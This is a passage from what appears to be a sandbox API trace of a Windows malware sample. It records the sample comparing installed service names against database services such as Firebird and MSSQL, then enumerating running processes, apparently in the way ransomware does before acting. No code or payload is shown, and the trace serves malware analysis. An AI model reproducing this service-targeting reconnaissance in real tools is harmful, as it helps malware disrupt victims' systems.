(lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0115.565] lstrlenW (lpString="lmhosts") returned 7 [0115.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0115.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0115.565] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0115.565] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0115.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0115.565] lstrlenW (lpString="LSM") returned 3 [0115.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0115.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0115.565] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0115.565] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0115.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0115.565] lstrlenW (lpString="MpsSvc") returned 6 [0115.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0115.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0115.565] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0115.565] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0115.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0115.565] lstrlenW (lpString="NcbService") returned 10 [0115.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0115.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0115.565] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0115.565] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0115.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0115.565] lstrlenW (lpString="netprofm") returned 8 [0115.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0115.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0115.566] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0115.566] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0115.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0115.566] lstrlenW (lpString="NlaSvc") returned 6 [0115.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0115.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0115.566] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0115.566] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0115.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0115.566] lstrlenW (lpString="nsi") returned 3 [0115.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0115.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0115.566] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0115.566] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0115.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0115.566] lstrlenW (lpString="PcaSvc") returned 6 [0115.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0115.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0115.566] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0115.566] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0115.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0115.566] lstrlenW (lpString="PlugPlay") returned 8 [0115.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0115.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0115.566] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0115.566] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0115.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0115.566] lstrlenW (lpString="Power") returned 5 [0115.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0115.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0115.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0115.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0115.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0115.567] lstrlenW (lpString="ProfSvc") returned 7 [0115.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0115.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0115.567] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0115.567] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0115.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0115.567] lstrlenW (lpString="RpcEptMapper") returned 12 [0115.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0115.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0115.567] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0115.567] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0115.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0115.567] lstrlenW (lpString="RpcSs") returned 5 [0115.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0115.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0115.567] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0115.567] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0115.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0115.567] lstrlenW (lpString="SamSs") returned 5 [0115.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0115.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0115.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0115.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0115.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0115.567] lstrlenW (lpString="Schedule") returned 8 [0115.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0115.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0115.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0115.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0115.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0115.568] lstrlenW (lpString="SecurityHealthService") returned 21 [0115.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0115.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0115.568] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0115.568] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0115.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0115.568] lstrlenW (lpString="SENS") returned 4 [0115.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0115.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0115.568] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0115.568] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0115.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0115.568] lstrlenW (lpString="ShellHWDetection") returned 16 [0115.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0115.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0115.568] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0115.568] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0115.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0115.568] lstrlenW (lpString="Spooler") returned 7 [0115.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0115.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0115.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0115.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0115.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0115.695] lstrlenW (lpString="sppsvc") returned 6 [0115.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0115.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0115.695] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0115.695] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0115.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0115.695] lstrlenW (lpString="SSDPSRV") returned 7 [0115.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0115.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0115.695] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0115.695] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0115.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617720 | out: hHeap=0x5c0000) returned 1 [0115.695] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0115.706] Process32FirstW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.707] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0115.707] lstrlenW (lpString="System") returned 6 [0115.707] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0115.764] lstrlenW (lpString="smss.exe") returned 8 [0115.764] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.766] lstrlenW (lpString="csrss.exe") returned 9 [0115.766] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0115.767] lstrlenW (lpString="wininit.exe") returned 11 [0115.767] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.769] lstrlenW (lpString="csrss.exe") returned 9 [0115.769] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0115.793] lstrlenW (lpString="winlogon.exe") returned 12 [0115.793] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0115.794] lstrlenW (lpString="services.exe") returned 12 [0115.794] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0115.795] lstrlenW (lpString="lsass.exe") returned 9 [0115.795] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.810] lstrlenW (lpString="svchost.exe") returned 11 [0115.813] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0115.814] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0115.814] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0115.815] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0115.815] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.828] lstrlenW (lpString="svchost.exe") returned 11 [0115.828] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0115.830] lstrlenW (lpString="dwm.exe") returned 7 [0115.830] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.832] lstrlenW (lpString="svchost.exe") returned 11 [0115.832] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.833] lstrlenW (lpString="svchost.exe") returned 11 [0115.833] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.919] lstrlenW (lpString="svchost.exe") returned 11 [0115.919] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.920] lstrlenW (lpString="svchost.exe") returned 11 [0115.920] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.921] lstrlenW (lpString="svchost.exe") returned 11 [0115.921] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.922] lstrlenW (lpString="svchost.exe") returned 11 [0115.922] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.923] lstrlenW (lpString="svchost.exe") returned 11 [0115.923] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.924] lstrlenW (lpString="svchost.exe") returned 11 [0115.924] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.925] lstrlenW (lpString="svchost.exe") returned 11 [0115.925] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0115.926] lstrlenW (lpString="spoolsv.exe") returned 11 [0115.926] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.927] lstrlenW (lpString="svchost.exe") returned 11 [0115.927] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.928] lstrlenW (lpString="svchost.exe") returned 11 [0115.931] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0115.932] lstrlenW (lpString="audiodg.exe") returned 11 [0115.932] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0115.933] lstrlenW (lpString="sihost.exe") returned 10 [0115.933] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.934] lstrlenW (lpString="svchost.exe") returned 11 [0115.934] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0115.935] lstrlenW (lpString="taskhostw.exe") returned 13 [0115.935] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0115.936] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0115.936] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0115.937] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0115.937] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0115.938] lstrlenW (lpString="explorer.exe") returned 12 [0115.938] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0115.938] lstrlenW (lpString="Memory Compression") returned 18 [0115.939] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0115.939] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0115.939] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0115.940] lstrlenW (lpString="SearchUI.exe") returned 12 [0115.940] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0115.941] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0115.941] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0115.942] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0115.942] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0115.943] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0115.943] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0115.944] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0115.944] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0115.945] lstrlenW (lpString="conhost.exe") returned 11 [0115.945] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0115.946] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0115.946] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0115.947] lstrlenW (lpString="upper arc.exe") returned 13 [0115.947] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0115.954] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0115.954] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, 